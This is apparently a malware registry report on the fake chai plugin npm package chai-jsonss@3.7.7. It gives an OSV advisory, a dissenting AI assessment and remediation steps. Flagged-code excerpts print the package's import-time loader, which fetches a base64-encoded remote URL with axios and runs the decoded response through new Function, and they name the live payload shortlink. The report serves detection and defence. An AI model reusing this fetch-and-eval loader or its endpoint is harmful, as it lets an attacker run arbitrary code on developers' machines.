registry / Malware / chai-jsonss

chai-jsonss

This report shows the evidence for chai-jsonss@3.7.7, the only known version.

This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 2mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13692 confirms this npm version as malicious.

Advisory

MAL-2026-13692

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in chai-jsonss (npm)

Details

On import, index.js invokes postCallers() which resolves a base64-encoded URL stored in lib/const.js (decoding to https://1uznbx.s.gy/7xdQmt), GETs the response via axios, base64-decodes response.data.model, and passes it to new Function(require) — executing attacker-controlled JavaScript in-process. The destination is hidden as a DEV_API_KEY field on a fake process.env-shaped local module, and the payload URL is a shortlink to a mutable remote resource. The package name resembles chai but its main entry contains no chai-related functionality; the only import-time behavior is fetch-and-eval of remote code.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

This is an overt remote-code-loader pattern at import time, but the inspected source is currently inert because its URL lookup is broken. It warrants a warning rather than a publish block under the concrete-behavior boundary.

Static reason

One or more suspicious static signals were detected.

Trigger

Import or require index.js.

Impact

If made operational, a server response could run arbitrary code with the importing process's privileges.

Mechanism

Import-time remote fetch followed by decoded dynamic code execution.

AI rationale

Evidence

package.jsonindex.jslib/caller.jslib/const.js

Network endpoints1

1uznbx.s.gy/7xdQmt

Independent scan evidence

public snapshot

AI called this Suspicious at 90.0% confidence as Malware with low false-positive risk.

Evidence for AI warning decision

index.js imports and invokes lib/caller.js at module load.
lib/caller.js fetches a decoded URL and compiles response.data.model with new Function.
lib/const.js contains an encoded URL: https://1uznbx.s.gy/7xdQmt.
The remote loader is unrelated to the declared package API.

Evidence against

package.json has no install lifecycle hooks.
lib/caller.js shadows Node's process with lib/const.js, whose object has env but no process.env; the request expression therefore throws before a request.
No source evidence of file writes, credential collection, or exfiltration.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 17 file(s), 51.6 KB of source, external domains: github.com

Source & flagged code

3 flagged

lib/caller.jsView file

2L3: const axios = require("axios"); L4: const process = require("./const"); ... L7: (async () => { L8: axios.get(atob(process.env.DEV_API_KEY)) L9: .then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

lib/caller.jsView on unpkg · L2

9.then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

High

Eval

Package source references dynamic code evaluation.

lib/caller.jsView on unpkg · L9

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/caller.jsView on unpkg · L2

Source & flagged code

3 flagged · loading source

lib/caller.jsView file

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

lib/caller.jsView on unpkg · L2

9.then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: })

High

Eval

Package source references dynamic code evaluation.

lib/caller.jsView on unpkg · L9

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/caller.jsView on unpkg · L2

Findings

1 Critical3 High3 Medium3 Low

CriticalRemote Response Code Executionlib/caller.js

HighChild Process

HighEvallib/caller.js

HighSame File Env Network Executionlib/caller.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to chai-jsonss@3.7.7.

The versions list below shows the verdict for each recorded version.

Avoid installing chai-jsonss@3.7.7. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-10 13:05:05.007Z (UTC).

Source advisory published: 2026-08-10 11:56:07.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

3.7.7latestshownMaliciousMalwareBlockPublishedAug 8, 2026, 2:15 AM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages